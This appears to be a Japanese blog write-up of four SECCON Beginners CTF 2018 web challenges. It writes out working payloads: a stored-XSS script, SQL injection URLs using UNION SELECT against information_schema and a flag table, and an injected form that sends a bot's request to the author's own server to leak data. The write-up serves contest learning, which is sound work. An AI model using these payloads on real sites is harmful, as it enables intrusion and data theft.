LoginSignup
2
3

More than 5 years have passed since last update.

SECCON Beginners CTF 2018 Web問題 Write-up

Last updated at Posted at 2018-06-06

1. [Warmup] Simple Auth

概要

ログインフォームと php のコードが与えられる

ポイント

  • Cookie

解法

  1. フォームに admin と入力して submit
  2. 同じページに GET でアクセス

php のコードを読み解く。フラグを表示するためには cookie に name: admin という情報が記録された状態で GET でアクセス(=2)すれば良い。
cookie に name: admin をセットするためには、1 の動作を行えばいい。

2. Gimme your comment

概要

お問い合わせ投稿フォームと自動応答スクリプトが与えられる。自動応答スクリプトが puppeteer で書かれていて、その user agent がフラグとなっている。

const puppeteer = require("puppeteer");

let origin  = process.env.origin;
let flag = process.env.flag;
let post_id  = process.env.post_id;

(async () => {
    const opt = {
        executablePath: 'google-chrome-stable',
        headless: true,
        args: [
            "--no-sandbox",
            "--disable-background-networking",
            "--disable-default-apps",
            "--disable-extensions",
            "--disable-gpu",
            "--disable-sync",
            "--disable-translate",
            "--hide-scrollbars",
            "--metrics-recording-only",
            "--mute-audio",
            "--no-first-run",
            "--safebrowsing-disable-auto-update",
            `--user-agent=${flag}`
        ],
    };
    const browser = await puppeteer.launch(opt);
    const page = await browser.newPage();
    await page.goto(`${origin}/posts/${post_id}`, {waitUntil: 'domcontentloaded'});
    await page.type('input[name="comment_content"]', '投稿ありがとうございます。大変参考になりました。');
    await page.click('button[type=submit]');
    await page.waitFor(1000);
    await browser.close();
})();

ポイント

  • XSS

解法

お問い合わせフォームの表示はescapeされていないので、任意のhtmlタグを埋め込める。方針は2通り考えられる。

  1. img タグなどを埋め込んで、自分が用意したサーバに puppeteer からリクエストを発生させる。自サーバのログから user agent が分かる。
  2. script タグを埋め込んで javascript を実行させる。javascript を使って、お問い合わせの回答に user agent の内容を吐かせる。

今回は、自サーバを用意するのが面倒だったので、2の方針にした。

以下をお問い合わせフォームに書き込めばいい。

<script>
$(function () {
    var ua = navigator.userAgent;
    $('button[type=submit]').click(function (e) {
        $('input[name="comment_content"]').val(ua);
    });
});
</script>

3. SECCON Goods

概要

商品一覧ページが与えられる。

ポイント

  • SQLインジェクション

解法

結論から言うと http://goods.chall.beginners.seccon.jp/items.php?minstock=0 UNION SELECT flag,2,3,4,5 FROM flag-- にアクセスすればいい。

http://goods.chall.beginners.seccon.jp/js/init.js を読むと、商品一覧ページの商品は、 javascript によってサーバから取得されている事がわかる。

vm = new Vue({
    el: '#view_root',
    data: {
        columns: {name:"商品名", description:"説明", price:"価格", stock:"在庫"},
        items: [{name: "Now loading", description: "Now loading", price: "0 YEN", stock: "0"}],
    },
    mounted(){
        axios.get('/items.php?minstock=0')
            .then(function (response) {
                console.log(vm.$data);
                vm.$data.items = response.data;
            })
            .catch(function (error) {
                console.log(error);
            });
    }
})

/items.php?minstock=0minstock=0 の部分を通してSQLインジェクションができる。

http://goods.chall.beginners.seccon.jp/items.php?minstock=0 UNION SELECT table_name,2,3,4,5 FROM information_schema.tables-- にアクセスするとテーブル一覧が得られ、 flag というテーブルがあることが分かる。次に、 http://goods.chall.beginners.seccon.jp/items.php?minstock=0 UNION SELECT flag,2,3,4,5 FROM flag-- にアクセスして flag テーブルの falg カラムを出力すると、flagが得られる。

4. Gimme your comment REVENGE

概要

Content-Security-Policy: default-src 'self' が設定されているのが2問目との違い。

ポイント

  • XSS

解法

Content-Security-Policy: default-src 'self' は、

サイト管理者が、すべてのコンテンツをサイト自身のドメイン (サブドメインを除く) から取得させたい場合

に設定する。XSSを防ぐ効果がある。

インラインスクリプトや eval() の実行を防ぐには default-src や script-src を指定する必要があります。

default-src 設定されているため、インラインの script タグの中身が実行されない。

偽のフォームをお問い合わせフォームに投稿し、自分のサーバへのリクエストを発生させることで、 user agent を得ることができる。

<form method="get" action="自分のサーバのIPアドレス">
  <button type="submit" class="btn btn-primary mb-2">コメント</button>
</form>
2
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
3